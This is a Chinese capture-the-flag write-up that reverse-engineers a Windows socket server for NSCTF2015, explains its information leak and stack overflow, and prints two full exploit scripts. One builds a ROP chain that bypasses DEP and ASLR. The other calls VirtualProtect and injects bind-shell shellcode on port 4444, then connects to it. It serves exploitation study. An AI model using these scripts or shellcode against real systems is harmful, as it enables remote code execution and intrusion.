这道题目我没有写出Exploit,因为编码时候里面几个细节处理出错。但对程序的逆向分析已完成,这里就学习一下别人写Exploit的思路。主要参考:绿盟科技网络攻防赛资料下载

0x01 题目要求

题目要求如下:

1.找出Exploit.exe中的漏洞。简单分析漏洞的成因,包括漏洞类型、相关的反汇编或伪C代码以及说明信息等。

2.在开启DEP+ASLR的系统里运行Exploit.弹出计算器。

0x02 漏洞分析

首先脱掉ASPack壳,OEP如下:

使用IDA分析,发现这是一个Socket server程序,监听在2994端口。支持三个命令:ENCRYPT、STATUS和EXIT

main函数中大都是Socket的逻辑代码,其中重点需要关注这2个函数:ShellExecuteA()和sub_401120()。

以下是sub_401120()函数主要代码:

观察发现,STATUS命令的处理中打印了内存地址,存在一处Information Leakage漏洞。

接下来分析ENCRYPT命令的处理逻辑,即sub_401120()函数,它主要调用sub_401030()函数,我们将其重命名为encrypt()

encrypt()函数做了两件事,一是使用rand()函数产生一个随机字符数组keys,二是将传入数据与keys异或后拷贝给大小为200bytes的栈内存。

而我们可以传入的数据最长可以是0XFFFF,显然超过200字节,因此这里会造成栈溢出。

0x03 漏洞利用Exploit

由于题目要求在开启DEP+ASLR的系统上成功执行Exploit,因此想到两种利用方法,一是通过VirtualProtect()关闭DEP,栈上注入shellcode执行。二是构造ROP链绕过ASLR+DEP。

无论哪种利用方法,首先要解决的问题是,我们传入的数据都会被encrypt()函数加密,也就是与keys的异或操作,而keys又是通过rand()随机生成。因此输入的数据首先要进行逆编码。好消息是,这里使用的rand()是以时间作种子的伪随机,其值可以预测。

方法二、ROP Bypass ASLR+DEP

下面代码是第二种,通过ROP实现的Exploit(学习作者思路时稍有修改):

  1. import socket
  2. import telnetlib
  3. import struct
  4. from time import time
  5. from subprocess import *
  6.  
  7. = socket.socket()
  8. s.connect(('127.0.0.1', 2994))
  9. = s.makefile('rw', bufsize=0)
  10.  
  11. welcom = s.recv(1000)
  12. print welcom
  13.  
  14. #0X00
  15. seed = time()
  16. out = check_output("rand.exe {}".format(int(seed)), shell = True)
  17. tmp_1 = out[:-1].split(',')
  18. keys = list()
  19. for i in tmp_1:
  20.     tmp_2 = i.split(' ')
  21.     tmp_3 = tmp_2[1]
  22.     tmp_3 += tmp_2[0]
  23.     tmp_4 = int(tmp_3, 16)
  24.     keys.append(tmp_4)
  25.  
  26. #0X01
  27. s.send("STATUS\n")
  28. text = s.recv(1000)[-11:]
  29. text = int(text, 16)
  30. print ' + GET ADDRESS ' + hex(text)
  31.  
  32. #0X02
  33. payload = ""
  34. payload_1 = "\x00" * 512
  35. payload_1 += struct.pack('I', text + 0x1001) # mov eax, esp; ret
  36. payload_1 += struct.pack('I', text + 0x1284) # push 5ACH (_sprintf_s())
  37. for i in range(len(payload_1)/4):
  38.     payload += struct.pack('I', struct.unpack('I', payload_1[i*4:i*4+4])[0] ^ keys[& 0x1F])
  39.  
  40. s.send("ENCRYPT \x08\x02{}".format(payload))
  41. esp = s.recv(1000)[-11:]
  42. esp = int(esp, 16)
  43. target = esp + 0x1A     #why 0x1A?
  44. print ' + GET ADDRESS ' + hex(target)
  45.  
  46. #0X03
  47. payload = "calc.exe\x00\x00\x00\x00"
  48. payload_2 = "\x00" * 500
  49. payload_2 += struct.pack('I', text + 0x153B)    #stack of ShellExcuteA()
  50. payload_2 += struct.pack('I', target)
  51. payload_2 += "\x00\x00\x00\x00"
  52. payload_2 += "\x00\x00\x00\x00"
  53. payload_2 += "\x05\x00\x00\x00"
  54.  
  55. for i in range(len(payload_2)/4):
  56.     payload += struct.pack('I', struct.unpack('I', payload_2[i*4:i*4+4])[0] ^ keys[(i+3) & 0x1F])
  57.  
  58. print ' + EXPLOITING...'
  59. s.send("ENCRYPT \x14\x02{}".format(payload))
  60. s.recv(1000)

由于Python的rand()函数与Windows库函数实现不一样,因此要调用C库函数。这里作者没有将其集成到Exploit代码里,而是写了一个C程序,通过命令行与之通信:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. int main(int argc, char *argv[]) 
  5. {
  6. int i;
  7. char out[10000];
  8. char tmp[100];
  9. unsigned long int seed;
  10. seed = atol(argv[1]);
  11. srand(seed);
  12. for (= 0; i < 32; i++) {
  13. sprintf(tmp, "%04x %04x,", rand(), rand());
  14. strcat(out, tmp);
  15. }
  16. printf("%s", out);
  17. return 0;
  18. }

以上利用过程分3步:

1.通过STATUS泄漏程序基地址,后面构造ROP Gadgets时可以通过它直接对指令寻址。

2.通过STATUS泄漏ESP地址。通过分析GetModuleHandleA代码可知道,其返回值存储于eax寄存器,而代码中又有一处mov esi, eax. 因此只要执行一段mov eax, esp; retn或mov esi, esp; retn 的Gadgets,然后跳转到push 5ACh处执行,就可以实现泄漏ESP的地址。

通过观察发现,helper()函数中恰有此指令。

3."calc.exe"字符串入栈,并重构ShellExecuteA函数栈,完成利用。

溢出后跳转到.text:0040153B处执行,其中ShellExecuteA函数后4个参数,由我们在栈上提供。

方法一、VirtualProtect关闭DEP

第一种方法中,helper(void)函数中提供了一处VirtualProtect指令可供使用:

贴一个关闭DEP利用的思路,来自@Chu同学:

  1. #coding: utf-8
  2.  
  3. from pwn import *
  4.  
  5. HOST = sys.argv[1]
  6.  
  7. conn = remote(HOST, 2994)
  8. conn.newline = "\r\n"
  9.  
  10. # get header
  11. conn.recv()
  12.  
  13. # get addr
  14. log.info("try to get the base addr")
  15. conn.sendline("STATUS")
  16. base = int(conn.recv().strip()[-10:], 16)
  17. log.success("base addr => {}".format(hex(base)))
  18.  
  19. # first encrypt, to get the table
  20. log.info("send the first packet, try to get the table")
  21. conn.sendline("ENCRYPT \x80\x00" + "A"*0x80)
  22. conn.recv(3)
  23. table_enc = conn.recv(0x80)
  24. table = []
  25. for c in table_enc:
  26.     table.append(ord(c)^ord('A')) 
  27. log.success("Table:")
  28. for c in table: 
  29.     print hex(c),
  30. print
  31.  
  32. # second encrypt, exploit!
  33. log.info("send the second packet, try to exploit it")
  34. payload = "A" * 512
  35.  
  36. # save esp to eax, ebx
  37. payload += pack(base+0x1001)
  38. payload += pack(base+0x1004)
  39.  
  40. # point ebx to shellcode
  41. payload += pack(base+0x1015)
  42. payload += pack(base+0x1015)
  43. payload += pack(base+0x1015)
  44. payload += pack(base+0x1015)
  45. payload += pack(base+0x1015)
  46.  
  47. # point eax to parameter1
  48. payload += pack(base+0x100e)
  49. payload += pack(base+0x100e)
  50. payload += pack(base+0x100e)
  51. payload += pack(base+0x100e)
  52. payload += pack(base+0x100e)
  53. payload += pack(base+0x3814)
  54. payload += pack(0x4)
  55. payload += pack(base+0x5c0a)
  56.  
  57. # modify parameter 1
  58. payload += pack(base+0x1007)
  59.  
  60. # point eax to ret addr & modify ret
  61. payload += pack(base+0x100a)
  62. payload += pack(base+0x1007)
  63.  
  64. # call VirtualProtect
  65. payload += pack(base+0x101b)
  66.  
  67. payload += "AAAA"
  68. payload += "BBBB"
  69. payload += pack(0x200)
  70. payload += pack(0x40)
  71. payload += pack(0x00010000)
  72. payload += "\x90" * 200
  73.  
  74. # shellcode for bind shell
  75. payload += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
  76. payload += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
  77. payload += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
  78. payload += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
  79. payload += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
  80. payload += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
  81. payload += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
  82. payload += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
  83. payload += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
  84. payload += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
  85. payload += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
  86. payload += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
  87. payload += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
  88. payload += "\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68"
  89. payload += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
  90. payload += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
  91. payload += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
  92. payload += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63"
  93. payload += "\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59"
  94. payload += "\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24"
  95. payload += "\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56"
  96. payload += "\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e"
  97. payload += "\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
  98. payload += "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
  99. payload += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
  100. payload += "\x53\xff\xd5"
  101.  
  102. # xor payload
  103. offset = ''
  104. for i in xrange(len(payload)):
  105.     offset += chr(ord(payload[i])^table[i%128])
  106. conn.sendline('ENCRYPT \xf0\x08'+offset)
  107.  
  108. # close the connection
  109. conn.close()
  110.  
  111. # interact
  112. conn = remote(HOST, 4444)
  113. log.success("enjoy!")
  114. conn.interactive(prompt="")
  115. conn.close()

NSCTF2015 逆向第五题分析的更多相关文章

  1. 【20171025晚】alert(1) to win 第五题 正则表达式过滤

    吃过晚饭,再练一题 第五题 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"' ...

  2. 看雪论坛 破解exe 看雪CTF2017第一题分析-『CrackMe』-看雪安全论坛

    韩梦飞沙  韩亚飞  313134555@qq.com  yue31313  han_meng_fei_sha 逆向 黑客 破解 学习 论坛 『CrackMe』 http://bbs.pediy.co ...

  3. JAVA题目:小芳的妈妈每天给她2.5元,她都会存起来,但是,每当这一天是存钱的第五题或者5的倍数的话,她都会去用掉6块钱。 问:至少经过多少天可以存到100块?

    1 /*题目:小芳的妈妈每天给她2.5元,她都会存起来, 2 但是,每当这一天是存钱的第五题或者5的倍数的话, 3 她都会去用掉6块钱. 4 问:至少经过多少天可以存到100块? 5 */ 6 /*分 ...

  4. Java-集合=第五题 (Map)设计Account 对象如下: private long id; private double balance; private String password; 要求完善设计,使得该Account 对象能够自动分配id。 给定一个List 如下: List list = new ArrayList(); list.add(new A

    第五题 (Map)设计Account 对象如下: private long id; private double balance; private String password; 要求完善设计,使得 ...

  5. Educational Codeforces Round 53 (Rated for Div. 2) (前五题题解)

    这场比赛没有打,后来补了一下,第五题数位dp好不容易才搞出来(我太菜啊). 比赛传送门:http://codeforces.com/contest/1073 A. Diverse Substring ...

  6. Codeforces Round #519 by Botan Investments(前五题题解)

    开个新号打打codeforces(以前那号玩废了),结果就遇到了这么难一套.touristD题用了map,被卡掉了(其实是对cf的评测机过分自信),G题没过, 700多行代码,码力惊人.关键是这次to ...

  7. Good Bye 2019(前五题题解)

    这套也是后来补得. 我太菜了,第三题就卡着了.想了好久才做出来,要是参加了绝对掉分. D题是人生中做完的第一道交互题,不容易. 比赛传送门 A.Card Game 题目大意:一共有n张互不相同的牌,玩 ...

  8. Codeforces Round #609 (Div. 2)前五题题解

    Codeforces Round #609 (Div. 2)前五题题解 补题补题…… C题写挂了好几个次,最后一题看了好久题解才懂……我太迟钝了…… 然后因为longlong调了半个小时…… A.Eq ...

  9. 腾讯2021LIGHT公益创新挑战赛赛题分析

    前些日子老师让我们报名了LIGHT挑战赛,之后又简单的进行了分析,今天我总结复盘一下,一是为了捋一下自己选题的思路,二是以后遇见类似的项目,更容易找到方向或者触类旁通. 赛题介绍 赛题一:安全教育/保 ...

随机推荐

  1. Python---字典常用方法总结

    字典是一种key-value的数据类型,字典里必须写Key和value,字典的优点是取数方便和速度快.字典的特性: 1.字典是无序的,因为它没有下标,用key来当索引,所以是无序的 2.字典的key必 ...

  2. noip2013转圈游戏

    题目描述 n个小伙伴(编号从 0到 n−1)围坐一圈玩游戏.按照顺时针方向给 n个位置编号,从0 到 n−1.最初,第 0号小伙伴在第 0号位置,第 1号小伙伴在第 1 号位置,……,依此类推. 游戏 ...

  3. JDK自带的keytool证书工具详解

    一.生成证书 keytool -genkey -alias tomcat -keyalg RSA -keystore D:/tomcat.keystore -keypass 123456 -store ...

  4. asp.net mvc如何获取url的相关信息

    1.获取完整url信息(协议名+域名+虚拟目录名+文件名+参数) string url = Request.Url.ToString(); 如: //1)获取完整url(协议名+域名+虚拟目录名+文件 ...

  5. ci框架多语言切换

    1.多语言切换首先配置config文件默认语言 2.创建自己的语言包:language chinese english目录下的语言包文件名必须以  xx_lang.php 可根据自己的需求创建数组: ...

  6. Android 音视频深入 四 录视频MP4(附源码下载)

    本篇项目地址,名字是<录音视频(有的播放器不能放,而且没有时长显示)>,求star https://github.com/979451341/Audio-and-video-learnin ...

  7. day31-python阶段性复习五

    打印目录下所有文件 os 模块 os.listdir(‘/home’) 列出目录下所有文件 os.path.isdir(‘/home’) 判断一个文件是不是一个目录 os.path.isfile(‘/ ...

  8. 【转载四】Grafana系列教程–Grafana基本概念

    在上面几篇文章中,我们介绍了Grafana的安装配置以及运行的方法,本篇文章我们就来介绍下Grafana的基本概念. 有问题欢迎加群讨论,InfluxDB&Grafana技术交流群:58048 ...

  9. word-wrap与break-word属性的区别

    共同点 word-wrap:break-word与word-break:break-all都能把长单词强行断句 不同点 word-wrap:break-word会首先起一个新行来放置长单词,新的行还是 ...

  10. 进程中的Manager(),实现多进程的数据共享与传递

    __author__ = "Alex Li" from multiprocessing import Process, Managerimport osdef f(d, l): d ...